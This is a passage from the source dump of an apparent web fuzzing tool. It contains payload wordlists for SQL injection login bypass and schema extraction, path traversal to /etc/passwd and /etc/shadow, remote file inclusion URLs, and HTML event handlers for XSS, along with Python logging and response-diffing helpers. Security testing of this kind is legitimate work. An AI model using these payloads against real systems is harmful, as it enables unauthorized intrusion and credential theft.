 88 | ") or ("1"="1"--
 89 | ") or ("1"="1"/*
 90 | ") or ("1"="1"#
 91 | ) or '1′='1–
 92 | ) or ('1′='1–
 93 | ' or 1=1 LIMIT 1;#
 94 | 'or 1=1 or ''='
 95 | "or 1=1 or ""="
 96 | ' or 'a'='a
 97 | ' or a=a--
 98 | ' or a=a–
 99 | ') or ('a'='a
100 | " or "a"="a
101 | ") or ("a"="a
102 | ') or ('a'='a and hi") or ("a"="a
103 | ' or 'one'='one
104 | ' or 'one'='one–
105 | ' or uid like '%
106 | ' or uname like '%
107 | ' or userid like '%
108 | ' or user like '%
109 | ' or username like '%
110 | ' or 'x'='x
111 | ') or ('x'='x
112 | " or "x"="x
113 | ' OR 'x'='x'#;
114 | '=' 'or' and '=' 'or'
115 | ' UNION ALL SELECT 1, @@version;#
116 | ' UNION ALL SELECT system_user(),user();#
117 | ' UNION select table_schema,table_name FROM information_Schema.tables;#
118 | admin' and substring(password/text(),1,1)='7
119 | ' and substring(password/text(),1,1)='7
120 | 
121 | 


--------------------------------------------------------------------------------
/.gitignore:
--------------------------------------------------------------------------------
  1 | # Byte-compiled / optimized / DLL files
  2 | __pycache__/
  3 | *.py[cod]
  4 | *$py.class
  5 | 
  6 | # C extensions
  7 | *.so
  8 | 
  9 | # Distribution / packaging
 10 | .Python
 11 | build/
 12 | develop-eggs/
 13 | dist/
 14 | downloads/
 15 | eggs/
 16 | .eggs/
 17 | lib/
 18 | lib64/
 19 | parts/
 20 | sdist/
 21 | var/
 22 | wheels/
 23 | pip-wheel-metadata/
 24 | share/python-wheels/
 25 | *.egg-info/
 26 | .installed.cfg
 27 | *.egg
 28 | MANIFEST
 29 | 
 30 | Supptruder_reports/
 31 | 
 32 | # PyInstaller
 33 | #  Usually these files are written by a python script from a template
 34 | #  before PyInstaller builds the exe, so as to inject date/other infos into it.
 35 | *.manifest
 36 | *.spec
 37 | 
 38 | # Installer logs
 39 | pip-log.txt
 40 | pip-delete-this-directory.txt
 41 | 
 42 | # Unit test / coverage reports
 43 | htmlcov/
 44 | .tox/
 45 | .nox/
 46 | .coverage
 47 | .coverage.*
 48 | .cache
 49 | nosetests.xml
 50 | coverage.xml
 51 | *.cover
 52 | *.py,cover
 53 | .hypothesis/
 54 | .pytest_cache/
 55 | 
 56 | # Translations
 57 | *.mo
 58 | *.pot
 59 | 
 60 | # Django stuff:
 61 | *.log
 62 | local_settings.py
 63 | db.sqlite3
 64 | db.sqlite3-journal
 65 | 
 66 | # Flask stuff:
 67 | instance/
 68 | .webassets-cache
 69 | 
 70 | # Scrapy stuff:
 71 | .scrapy
 72 | 
 73 | # Sphinx documentation
 74 | docs/_build/
 75 | 
 76 | # PyBuilder
 77 | target/
 78 | 
 79 | # Jupyter Notebook
 80 | .ipynb_checkpoints
 81 | 
 82 | # IPython
 83 | profile_default/
 84 | ipython_config.py
 85 | 
 86 | # pyenv
 87 | .python-version
 88 | 
 89 | # pipenv
 90 | #   According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
 91 | #   However, in case of collaboration, if having platform-specific dependencies or dependencies
 92 | #   having no cross-platform support, pipenv may install dependencies that don't work, or not
 93 | #   install all needed dependencies.
 94 | #Pipfile.lock
 95 | 
 96 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow
 97 | __pypackages__/
 98 | 
 99 | # Celery stuff
100 | celerybeat-schedule
101 | celerybeat.pid
102 | 
103 | # SageMath parsed files
104 | *.sage.py
105 | 
106 | # Environments
107 | .env
108 | .venv
109 | env/
110 | venv/
111 | ENV/
112 | env.bak/
113 | venv.bak/
114 | 
115 | # Spyder project settings
116 | .spyderproject
117 | .spyproject
118 | 
119 | # Rope project settings
120 | .ropeproject
121 | 
122 | # mkdocs documentation
123 | /site
124 | 
125 | # mypy
126 | .mypy_cache/
127 | .dmypy.json
128 | dmypy.json
129 | 
130 | # Pyre type checker
131 | .pyre/
132 | 


--------------------------------------------------------------------------------
/sources/printing.py:
--------------------------------------------------------------------------------
 1 | from __future__ import print_function
 2 | import datetime
 3 | from colored import fg, bg
 4 | 
 5 | import builtins as __builtin__
 6 | 
 7 | class Colors():
 8 |     colors = dict()
 9 |     colors["red"] = f"{fg('red')}{bg('black')}"
10 |     colors["green"] = f"{fg('green')}{bg('black')}"
11 |     colors["yellow"] = f"{fg('yellow')}{bg('black')}"
12 |     colors["blue"] = f"{fg('blue')}{bg('black')}"
13 |     colors["purple"] = f"{fg('purple_3')}{bg('black')}"
14 |     colors["cyan"] = f"{fg('cyan')}{bg('black')}"
15 |     colors["white"] = f"{fg('white')}{bg('black')}"
16 |     colors["red_bg"] = f"{fg('white')}{bg('red')}"
17 |     colors["green_bg"] = f"{fg('white')}{bg('green')}"
18 |     colors["dark_red"] = f"{fg('dark_red_2')}{bg('black')}"
19 |     colors["dark_green"] = f"{fg('dark_green')}{bg('black')}"
20 |     colors["dark_blue"] = f"{fg('dark_blue')}{bg('black')}"
21 |     colors["end"] = "\033[0m"
22 | 
23 |     def get_color(self, color_name):
24 |         return self.colors[color_name]
25 | 
26 | class Headers():
27 |     headers = dict()
28 |     headers["log"] = "[LOG]"
29 |     headers["info"] = "[INFO]"
30 |     headers["warning"] = "[WARNING]"
31 |     headers["error"] = "[ERROR]"
32 |     headers["critical"] = "[CRITICAL]"
33 |     headers["debug"] = "[DEBUG]"
34 |     headers["success"] = "[SUCCESS]"
35 |     headers["failure"] = "[FAILURE]"
36 |     headers["fatal"] = "[FATAL]"
37 |     headers["unknown"] = "[UNKNOWN]"
38 | 
39 | class Strings():
40 |     banner = """~~~~~~~~~~~~ Supp' Truder ? ~~~~~~~~~~~~"""
41 |     wordlist_loaded = "Wordlist loaded ! We have {payload_len} items in this wordlist !"
42 |     results_header = f"Time\t\tPayload_index\tStatus\tLength\tResponse_time\tPayload\tExtracted\n{'-' * 100}"
43 |     results = "{time}\t{payload_index:0>6}/{payload_len}\t{status:0>3}\t{length:0>6}\t{response_time}\t{payload}\t{extracted}"
44 |     base_request_details = """Status: {status:0>3},Content Length: {content_len},Request Time: {total_seconds},Request Text (trucated): {text_top}[...]{text_bottom}"""
45 | 
46 | 
47 | def print(text, end="\n", color=None):
48 |     color = Colors().get_color(color) if color is not None else ""
49 |     text = f"{color}{text}{Colors().get_color('end')}"
50 |     __builtin__.print(text, end=end)
51 | 
52 | def log(text, type="info", date=True):
53 |     date = f"[{datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]" if date else ""
54 |     color = ""
55 |     match type:
56 |         case "info":
57 |             color = "white"
58 |         case "warning":
59 |             color = "yellow"
60 |         case "error":
61 |             color = "red"
62 |         case "critical":
63 |             color = "red"
64 |         case "debug":
65 |             color = "blue"
66 |         case "success":
67 |             color = "green"
68 |         case "failure":
69 |             color = "dark_red"
70 |         case "fatal":
71 |             color = "red_bg"
72 |     print(f"{date} {Headers().headers[type]}: {text}", color=color)


--------------------------------------------------------------------------------
/sources/differs.py:
--------------------------------------------------------------------------------
 1 | 
 2 | import difflib
 3 | 
 4 | class Differs():
 5 | 
 6 |     def __init__(self, base_payload, time_difference, text_difference_ratio=0.98, ratio_type="quick"):
 7 |         self.base_payload = base_payload
 8 |         self.time_difference = time_difference
 9 |         self.text_difference_ratio = text_difference_ratio
10 |         self.ratio_type = ratio_type
11 |         pass
12 |     
13 |     def is_identical(self, base_request, request2, payload_to_remove:str(), match_headers=False, exclude_headers=[]):
14 |         """
15 |         Here we'll assume that two pages with text matching each other by > 98% are identical
16 |         The purpose of this comparison is to assume that pages can contain variables like time,
17 |         IP or the parameter itself, we don't want to match everything because there is a slightly difference between the origin request and the payloady request.
18 | 
19 |         So to be sure we don't match random things, we'll do a comparison with the value of args "textDifference"
20 |         """
21 |         exclude_headers = [x.lower() for x in exclude_headers]
22 |         if base_request.text.replace(self.base_payload, "") == request2.text.replace(payload_to_remove, "") and not match_headers:
23 |             return True
24 |         diff_timer_requests = abs(base_request.elapsed.total_seconds() - request2.elapsed.total_seconds())
25 | 
26 |         if diff_timer_requests >= self.time_difference:
27 |             return False
28 |         # We'll not use "Real_quick_ratio" instead of "quick_ratio"
29 |         # This would be needed because a page with a small length could be hard to match at +98% with an other page
30 |         # Eg: page1 = "abcd" page2 = "abce"; difference = 1 caracter but match is 75% !
31 |         # but MEH ! it's http pages we'll assume the content is > 4 caracters ;)
32 |         text1 = base_request.text
33 |         text2 = request2.text
34 |         if match_headers:
35 |             for header, value in base_request.headers.items():
36 |                 if not header.lower() in exclude_headers:
37 |                     text1 = text1 + f"{header}: {value}"
38 |             for header, value in request2.headers.items():
39 |                 if not header.lower() in exclude_headers:
40 |                     text2 = text2 + f"{header}: {value}"
41 |         if len(self.base_payload) > 4:
42 |             text1 = text1.replace(self.base_payload, "")
43 |         if len(payload_to_remove) > 4:
44 |             text2 = text2.replace(payload_to_remove, "")
45 |         if self.ratio_type == "quick":
46 |             
47 |             difference_of_text = difflib.SequenceMatcher(
48 |                 None, text1, text2).quick_ratio()
49 |         else:
50 |             difference_of_text = difflib.SequenceMatcher(
51 |                 None, text1, text2).ratio()
52 | 
53 |         if base_request.status_code == request2.status_code:
54 |             if difference_of_text > self.text_difference_ratio:
55 |                 return True
56 |         return False


--------------------------------------------------------------------------------
/database/sqli-error-based.txt:
--------------------------------------------------------------------------------
  1 |  OR 1=1
  2 |  OR 1=0
  3 |  OR x=x
  4 |  OR x=y
  5 |  OR 1=1#
  6 |  OR 1=0#
  7 |  OR x=x#
  8 |  OR x=y#
  9 |  OR 1=1-- 
 10 |  OR 1=0-- 
 11 |  OR x=x-- 
 12 |  OR x=y-- 
 13 |  OR 3409=3409 AND ('pytW' LIKE 'pytW
 14 |  OR 3409=3409 AND ('pytW' LIKE 'pytY
 15 |  HAVING 1=1
 16 |  HAVING 1=0
 17 |  HAVING 1=1#
 18 |  HAVING 1=0#
 19 |  HAVING 1=1-- 
 20 |  HAVING 1=0-- 
 21 |  AND 1=1
 22 |  AND 1=0
 23 |  AND 1=1-- 
 24 |  AND 1=0-- 
 25 |  AND 1=1#
 26 |  AND 1=0#
 27 |  AND 1=1 AND '%'='
 28 |  AND 1=0 AND '%'='
 29 |  AND 1083=1083 AND (1427=1427
 30 |  AND 7506=9091 AND (5913=5913
 31 |  AND 1083=1083 AND ('1427=1427
 32 |  AND 7506=9091 AND ('5913=5913
 33 |  AND 7300=7300 AND 'pKlZ'='pKlZ
 34 |  AND 7300=7300 AND 'pKlZ'='pKlY
 35 |  AND 7300=7300 AND ('pKlZ'='pKlZ
 36 |  AND 7300=7300 AND ('pKlZ'='pKlY
 37 |  AS INJECTX WHERE 1=1 AND 1=1
 38 |  AS INJECTX WHERE 1=1 AND 1=0
 39 |  AS INJECTX WHERE 1=1 AND 1=1#
 40 |  AS INJECTX WHERE 1=1 AND 1=0#
 41 |  AS INJECTX WHERE 1=1 AND 1=1--
 42 |  AS INJECTX WHERE 1=1 AND 1=0--
 43 |  WHERE 1=1 AND 1=1
 44 |  WHERE 1=1 AND 1=0
 45 |  WHERE 1=1 AND 1=1#
 46 |  WHERE 1=1 AND 1=0#
 47 |  WHERE 1=1 AND 1=1--
 48 |  WHERE 1=1 AND 1=0--
 49 |  ORDER BY 1-- 
 50 |  ORDER BY 2-- 
 51 |  ORDER BY 3-- 
 52 |  ORDER BY 4-- 
 53 |  ORDER BY 5-- 
 54 |  ORDER BY 6-- 
 55 |  ORDER BY 7-- 
 56 |  ORDER BY 8-- 
 57 |  ORDER BY 9-- 
 58 |  ORDER BY 10-- 
 59 |  ORDER BY 11-- 
 60 |  ORDER BY 12-- 
 61 |  ORDER BY 13-- 
 62 |  ORDER BY 14-- 
 63 |  ORDER BY 15-- 
 64 |  ORDER BY 16-- 
 65 |  ORDER BY 17-- 
 66 |  ORDER BY 18-- 
 67 |  ORDER BY 19-- 
 68 |  ORDER BY 20-- 
 69 |  ORDER BY 21-- 
 70 |  ORDER BY 22-- 
 71 |  ORDER BY 23-- 
 72 |  ORDER BY 24-- 
 73 |  ORDER BY 25-- 
 74 |  ORDER BY 26-- 
 75 |  ORDER BY 27-- 
 76 |  ORDER BY 28-- 
 77 |  ORDER BY 29-- 
 78 |  ORDER BY 30-- 
 79 |  ORDER BY 31337-- 
 80 |  ORDER BY 1# 
 81 |  ORDER BY 2# 
 82 |  ORDER BY 3# 
 83 |  ORDER BY 4# 
 84 |  ORDER BY 5# 
 85 |  ORDER BY 6# 
 86 |  ORDER BY 7# 
 87 |  ORDER BY 8# 
 88 |  ORDER BY 9# 
 89 |  ORDER BY 10# 
 90 |  ORDER BY 11# 
 91 |  ORDER BY 12# 
 92 |  ORDER BY 13# 
 93 |  ORDER BY 14# 
 94 |  ORDER BY 15# 
 95 |  ORDER BY 16# 
 96 |  ORDER BY 17# 
 97 |  ORDER BY 18# 
 98 |  ORDER BY 19# 
 99 |  ORDER BY 20# 
100 |  ORDER BY 21# 
101 |  ORDER BY 22# 
102 |  ORDER BY 23# 
103 |  ORDER BY 24# 
104 |  ORDER BY 25# 
105 |  ORDER BY 26# 
106 |  ORDER BY 27# 
107 |  ORDER BY 28# 
108 |  ORDER BY 29# 
109 |  ORDER BY 30#
110 |  ORDER BY 31337#
111 |  ORDER BY 1 
112 |  ORDER BY 2 
113 |  ORDER BY 3 
114 |  ORDER BY 4 
115 |  ORDER BY 5 
116 |  ORDER BY 6 
117 |  ORDER BY 7 
118 |  ORDER BY 8 
119 |  ORDER BY 9 
120 |  ORDER BY 10 
121 |  ORDER BY 11 
122 |  ORDER BY 12 
123 |  ORDER BY 13 
124 |  ORDER BY 14 
125 |  ORDER BY 15 
126 |  ORDER BY 16 
127 |  ORDER BY 17 
128 |  ORDER BY 18 
129 |  ORDER BY 19 
130 |  ORDER BY 20 
131 |  ORDER BY 21 
132 |  ORDER BY 22 
133 |  ORDER BY 23 
134 |  ORDER BY 24 
135 |  ORDER BY 25 
136 |  ORDER BY 26 
137 |  ORDER BY 27 
138 |  ORDER BY 28 
139 |  ORDER BY 29 
140 |  ORDER BY 30 
141 |  ORDER BY 31337 
142 |  RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
143 |  RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'='
144 | IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl--
145 | IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl--
146 | %' AND 8310=8310 AND '%'='
147 | %' AND 8310=8311 AND '%'='
148 |  and (select substring(@@version,1,1))='X'
149 |  and (select substring(@@version,1,1))='M'
150 |  and (select substring(@@version,2,1))='i'
151 |  and (select substring(@@version,2,1))='y'
152 |  and (select substring(@@version,3,1))='c'
153 |  and (select substring(@@version,3,1))='S'
154 |  and (select substring(@@version,3,1))='X'
155 | 


--------------------------------------------------------------------------------
/database/html_events.txt:
--------------------------------------------------------------------------------
  1 | onAbort
  2 | onabort
  3 | onactivate
  4 | onActivate
  5 | onafterprint
  6 | onAfterPrint
  7 | onafterscriptexecute
  8 | onAfterUpdate
  9 | onanimationcancel
 10 | onanimationend
 11 | onanimationiteration
 12 | onanimationstart
 13 | onauxclick
 14 | onbeforeactivate
 15 | onBeforeActivate
 16 | onbeforecopy
 17 | onBeforeCopy
 18 | onbeforecut
 19 | onBeforeCut
 20 | onbeforedeactivate
 21 | onBeforeDeactivate
 22 | onBeforeEditFocus
 23 | onbeforepaste
 24 | onBeforePaste
 25 | onbeforeprint
 26 | onBeforePrint
 27 | onbeforescriptexecute
 28 | onbeforeunload
 29 | onBeforeUnload
 30 | onBeforeUpdate
 31 | onbegin
 32 | onBegin
 33 | onblur
 34 | onBlur
 35 | onbounce
 36 | onBounce
 37 | oncancel
 38 | oncanplay
 39 | oncanplaythrough
 40 | onCellChange
 41 | onchange
 42 | onChange
 43 | onclick
 44 | onClick
 45 | onclose
 46 | oncontextmenu
 47 | onContextMenu
 48 | onControlSelect
 49 | oncopy
 50 | onCopy
 51 | oncuechange
 52 | oncut
 53 | onCut
 54 | onDataAvailable
 55 | onDataSetChanged
 56 | onDataSetComplete
 57 | ondblclick
 58 | onDblClick
 59 | ondeactivate
 60 | onDeactivate
 61 | ondrag
 62 | onDrag
 63 | onDragDrop
 64 | ondragend
 65 | onDragEnd
 66 | ondragenter
 67 | onDragEnter
 68 | ondragleave
 69 | onDragLeave
 70 | ondragover
 71 | onDragOver
 72 | ondragstart
 73 | onDragStart
 74 | ondrop
 75 | onDrop
 76 | ondurationchange
 77 | onemptied
 78 | onend
 79 | onEnd
 80 | onended
 81 | onerror
 82 | onError
 83 | onErrorUpdate
 84 | onFilterChange
 85 | onfinish
 86 | onFinish
 87 | onfocus
 88 | onFocus
 89 | onfocusin
 90 | onFocusIn
 91 | onfocusout
 92 | onFocusOut
 93 | onformdata
 94 | onfullscreenchange
 95 | onhashchange
 96 | onHashChange
 97 | onHelp
 98 | oninput
 99 | onInput
100 | oninvalid
101 | onkeydown
102 | onKeyDown
103 | onkeypress
104 | onKeyPress
105 | onkeyup
106 | onKeyUp
107 | onlanguagechange
108 | onLayoutComplete
109 | onload
110 | onLoad
111 | onloadeddata
112 | onloadedmetadata
113 | onloadend
114 | onloadstart
115 | onLoseCapture
116 | onMediaComplete
117 | onMediaError
118 | onmessage
119 | onMessage
120 | onmessageerror
121 | onmousedown
122 | onMouseDown
123 | onmouseenter
124 | onMouseEnter
125 | onmouseleave
126 | onMouseLeave
127 | onmousemove
128 | onMouseMove
129 | onmouseout
130 | onMouseOut
131 | onmouseover
132 | onMouseOver
133 | onmouseup
134 | onMouseUp
135 | onmousewheel
136 | onMouseWheel
137 | onMove
138 | onMoveEnd
139 | onMoveStart
140 | onmozfullscreenchange
141 | onOffline
142 | onoffline
143 | onOnline
144 | ononline
145 | onOutOfSync
146 | onpagehide
147 | onpageshow
148 | onpaste
149 | onPaste
150 | onpause
151 | onPause
152 | onplay
153 | onplaying
154 | onpointerdown
155 | onpointerenter
156 | onpointerleave
157 | onpointermove
158 | onpointerout
159 | onpointerover
160 | onpointerrawupdate
161 | onpointerup
162 | onpopstate
163 | onPopState
164 | onprogress
165 | onProgress
166 | onPropertyChange
167 | onratechange
168 | onreadystatechange
169 | onReadyStateChange
170 | onRedo
171 | onrejectionhandled
172 | onrepeat
173 | onRepeat
174 | onreset
175 | onReset
176 | onresize
177 | onResize
178 | onResizeEnd
179 | onResizeStart
180 | onResume
181 | onReverse
182 | onRowDelete
183 | onRowExit
184 | onRowInserted
185 | onRowsEnter
186 | onscroll
187 | onScroll
188 | onsearch
189 | onsecuritypolicyviolation
190 | onSeek
191 | onseeked
192 | onseeking
193 | onselect
194 | onSelect
195 | onselectionchange
196 | onSelectionChange
197 | onselectstart
198 | onSelectStart
199 | onshow
200 | onslotchange
201 | onstalled
202 | onstart
203 | onStart
204 | onStop
205 | onStorage
206 | onstorage
207 | onsubmit
208 | onSubmit
209 | onsuspend
210 | onSyncRestored
211 | onTimeError
212 | ontimeupdate
213 | ontoggle
214 | ontouchend
215 | ontouchmove
216 | ontouchstart
217 | onTrackChange
218 | ontransitioncancel
219 | ontransitionend
220 | ontransitionrun
221 | ontransitionstart
222 | onUndo
223 | onunhandledrejection
224 | onwheel
225 | onunload
226 | onUnload
227 | onURLFlip
228 | onvolumechange
229 | onwaiting
230 | onwebkitanimationend
231 | onwebkitanimationiteration
232 | onwebkitanimationstart
233 | onwebkittransitionend
234 | seekSegmentTime
235 | onaddtrack
236 | onconnect
237 | oneself
238 | ongoing
239 | online
240 | onopen
241 | onremovetrack
242 | onward


--------------------------------------------------------------------------------
/database/traversal-short.txt:
--------------------------------------------------------------------------------
 1 | /etc/passwd
 2 | /etc/passwd%00
 3 | /etc/shadow
 4 | /etc/shadow%00
 5 | /etc/hosts
 6 | /etc/hosts%00
 7 | /boot.ini
 8 | /boot.ini%00
 9 | C:\boot.ini
10 | C:\boot.ini%00
11 | https://crowdshield.com/.testing/rfi_vuln.php
12 | https://crowdshield.com/.testing/rfi_vuln.php%00
13 | //xerosecurity.com/.testing/rfi_vuln.php
14 | //xerosecurity.com/.testing/rfi_vuln.php%00
15 | http://xerosecurity.com/.testing/rfi_vuln.php
16 | http://xerosecurity.com/.testing/rfi_vuln.php%00
17 | /../../../../../../../../../../../../../../../../../../etc/passwd
18 | /../../../../../../../../../../../../../../../../../../etc/shadow
19 | /../../../../../../../../../../../../../../../../../../etc/hosts
20 | /../../../../../../../../../../../../../../../../../../etc/passwd%00
21 | /../../../../../../../../../../../../../../../../../../etc/shadow%00
22 | /../../../../../../../../../../../../../../../../../../etc/hosts%00
23 | /../../../../../../../../../../../../../../../../../../boot.ini
24 | /../../../../../../../../../../../../../../../../../../boot.ini%00
25 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd
26 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\shadow
27 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\hosts
28 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd%00
29 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\shadow%00
30 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\hosts%00
31 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
32 | \..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00
33 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
34 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow
35 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts
36 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd%00
37 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow%00
38 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fhosts%00
39 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini
40 | %2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
41 | /..........................................................................\..\..\..\..\..\..\..\boot.ini
42 | /..........................................................................\..\..\..\..\..\..\..\etc/passwd
43 | /..........................................................................\..\..\..\..\..\..\..\boot.ini%00
44 | /..........................................................................\..\..\..\..\..\..\..\etc/passwd%00
45 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini
46 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\boot.ini%00
47 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/passwd
48 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/passwd%00
49 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/shadow
50 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/shadow%00
51 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/hosts
52 | /..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc/hosts%00
53 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd
54 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/shadow
55 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/hosts
56 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini
57 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/passwd%00
58 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/shadow%00
59 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/etc/hosts%00
60 | %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/boot.ini%00
61 | /
62 | /../
63 | /../../
64 | /../../../
65 | /../../../../
66 | /../../../../../
67 | /../../../../../../
68 | /../../../../../../../
69 | /../../../../../../../../
70 | /../../../../../../../../../
71 | /../../../../../../../../../../
72 | /../../../../../../../../../../../
73 | /../../../../../../../../../../../../
74 | /../../../../../../../../../../../../../
75 | \
76 | \..\
77 | \..\..\
78 | \..\..\..\
79 | \..\..\..\..\
80 | \..\..\..\..\..\
81 | \..\..\..\..\..\..\
82 | \..\..\..\..\..\..\..\
83 | \..\..\..\..\..\..\..\..\
84 | \..\..\..\..\..\..\..\..\..\
85 | \..\..\..\..\..\..\..\..\..\..\
86 | \..\..\..\..\..\..\..\..\..\..\..\
87 | \..\..\..\..\..\..\..\..\..\..\..\..\
88 | \..\..\..\..\..\..\..\..\..\..\..\..\..\
89 | 


--------------------------------------------------------------------------------
/database/xss_find_inject.txt:
--------------------------------------------------------------------------------
1 | INJECTXXXXXXXXXXX
2 | INJECTXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX